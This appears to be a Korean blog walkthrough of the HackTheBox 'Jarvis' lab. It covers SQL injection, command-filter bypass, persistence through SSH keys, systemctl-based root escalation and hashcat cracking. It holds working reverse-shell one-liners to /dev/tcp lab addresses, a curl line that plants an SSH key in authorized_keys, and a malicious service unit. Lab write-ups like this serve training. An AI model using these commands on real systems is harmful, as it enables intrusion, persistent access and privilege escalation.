SQLInjection
SQLI을 의도한건 문제인건 알았지만, 화면에 에러가 출력되지않아서 Blind인잭션을 사용해야 하는 줄 알았다.
블라인드는 스크립트가 아니면 상당히 오래걸린다. 따라서, sqlmap을 사용하였다.
몰랐던 사실
xxx.com?cod=-1 파라미터에 음수 또는 의도하지 않은 값을 입력하면 화면이 깨진다.
이 상태에서 union select 기법으로 출력되는 위치를 파악할 수 있었다.
union으로 출력 메세지를 확인 가능하므로 load_file과 into outfile 기법을 사용하여 한줄 웹쉘을 생성하여 실행시킬 수 있다. Manual SQL Injection은 내 블로그에 정리 해둠
https://myreversing.tistory.com/306?category=870793
Lateral Movement
웹 서비스 계정으로 쉘을 따낸 후권한상승을 위해 Enumeration 진행
sudo 명령어 리스트에서 pepper 계정으로 실행할 수 있는 스크립트가 존재하였다.
$>sudo -l
/var/www/html/Admin-Utilities/simpler.py
또한 suid 파일 검색 결과, pepper계정은 setuid가 설정된 systemctl을 실행 시킬 수 있었다.
$>find / -perm -4000 2>/dev/null
/bin/systemctl
루트쉘을 따기 위해 일반계정인 pepper로 전환이 필요하였고 스크립트가 단서임을 확실해 보인다.
/var/www/html/Admin-Utilities/simpler.py
파이썬 스크립트의 내용을 확인해본 결과
OS, System 등 시스템 명령어를 사용하는 구간이 존재하였다.
이 함수를 이용해서 리버스 쉘을 실행시키면 pepper의 쉘을 따낼 수 있다.
다만, 함수 내부에 특수문자 필터링 |,&,- 등등 이 존재하기 때문에 이것을 우회해야했다.
- 처음에는 여기에서 어떻게 할지 몰라서 Writeup을 찾아보았다. 스크립트 내용은 어렵지 않으니 꼼꼼히 확인해보자.
cd /tmp
echo "bash -c 'bash -i >& /dev/tcp/10.10.14.2/4444 0>&1'" > rsh.sh
chmod 755 rsh.sh
Command Injection (perpper 쉘 따기)
- 처음 알게된 사실인데 $(스크립트파일) 특수문자를 사용해서 다음과 같이 스크립트 내용을 전달 할 수 있었다.
Kali
nc -lnvp 4444
Victim
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
python> $(/tmp/rsh.sh)
Fully-InteractiveShell
완전한 쉘로 전환하기 위해서 두가지 방법이 가능한 것으로 보인다.
(불완전한 쉘은 nano, vi 등 편집기를 정상적으로 사용하기가 어렵다.)
1. stty를 이용해 완전한 쉘로 전환하거나
2. 타겟 PC에 SSH 서비스가 실행중이라면, 홈디렉토리에 public key를 추가시켜서 ssh 클라이언트로 접속할 수 있다.
로컬에서 한 쌍의 rsa 키를 생성
ssh-keygen -t rsa -b 4096 -o -a 100
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
The key fingerprint is:
SHA256:oLPkOoF4eyGrU50W5jzuU+bMbS5VKuGzyHkDYKo6seI xxxxx@xxx
[...]
passphrase : XXXXX
그런 다음 타겟 머신의 authorized_keys 파일에 공개키(id_rsa.pub)를 추가한다.
폴더와 파일이 없으면 직접 생성하면 됨
파일경로
~/.ssh/authorized_keys
쉘로 copy&paste하여 붙이거나
echo "ssh-rsa ABCD@#!@4..... root@kali" >> authorized_keys
curl로 다운받아 추가시킨다.
curl -sk http://10.10.14.2:8000/id_rsa.pub >> /home/pepper/.ssh/authorized_keys
private 키파일을 사용해 접속을 시도 (먼저 키파일 권한이 600 이하로 설정되야함)
chmod 600 id_rsa
ssh pepper@10.10.10.143 -i id_rsa
권한상승
GTFIO systemctl 참고
Systemctl 명령은 systemd를 실행하는 시스템에서 서비스를 관리하는 데 사용됩니다.
일반적으로 구성 파일은 /etc/system/systemd에 있습니다.
그러나 우리는 루트가 아니기 때문에 이 폴더에 파일을 쓸 수 없습니다.
대신 systemctl 링크 명령을 사용할 수 있습니다.
여기의 Man 페이지에 따르면 link 명령을 사용하여 기본 검색 경로에 없는 구성 파일을 포함 할 수 있습니다. 이렇게하면 어느 위치에서나 단위 파일을 만들고 링크 할 수 있으므로 서비스를 시작할 수 있습니다
"ExecStart" 매개 변수는 시작시 실행할 명령을 지정하는 데 사용됩니다.
그런 다음 링크 명령을 사용하여 서비스를 systemd에 연결하고 시작 명령을 사용하여 명령을 실행합니다.
vim 으로 shell.service를 만든 후 홈 디렉토리(pepper)에 업로드할 경우
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.4/5555 0>&1'
[Install]
WantedBy=multi-user.target
쉘에 한줄씩 붙여넣을 경우
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.4/5555 0>&1'
[Install]
WantedBy=multi-user.target' > shell.service
Systemctl 트리거
Victim 명령어 실행
/bin/systemctl enable /home/pepper/shell.service
/bin/systemctl start shell
Kali
nc -lnvp 5555
GTFIO에 나온 echo 명령어는 결국 파일을 생성하기 위한 명령어다.
여기에 나온 방식대로 echo를 사용하여 만들려면 한줄씩 쉘에 copy&paste 해야하므로 불편할 수있다.
따라서, 로컬에서 파일을 만든 후 wget 등으로 업로드하는게 편할 수 있다.
다른건 필요하없고 [service]와 [install]만 설정해도 되는 것으로 보인다.
ExecStart 매개변수로 실행이 지원되는 한줄 웹쉘을 붙여넣으면 된다.
BONUS Hash캣 사용법
luc@kali:~/HTB/Jarvis$ hashcat --example-hashes
...
MODE: 300
TYPE: MySQL4.1/MySQL5
HASH: fcf7c1b8749cf99d88e5f34271d636178fb5d130
PASS: hashcat
...
luc@kali:~/HTB/Jarvis$ echo 'DBadmin:2D2B7A5E4E637B8FBA1D17F40318F277D29964D0' > hashes
luc@kali:~/HTB/Jarvis$ hashcat -m 300 --username hashes /usr/share/seclists/Passwords/darkweb2017-top10000.txt
...
2d2b7a5e4e637b8fba1d17f40318f277d29964d0:imissyou
'OSCP > HackTheBox' 카테고리의 다른 글
[Linux] Cronos (1) | 2020.09.02 |
---|---|
[Linux] Popcorn (0) | 2020.09.01 |
[Linux] FriendZone (0) | 2020.08.26 |
[Linux] SolidState (0) | 2020.08.25 |
[Windows] Jeeves (0) | 2020.06.11 |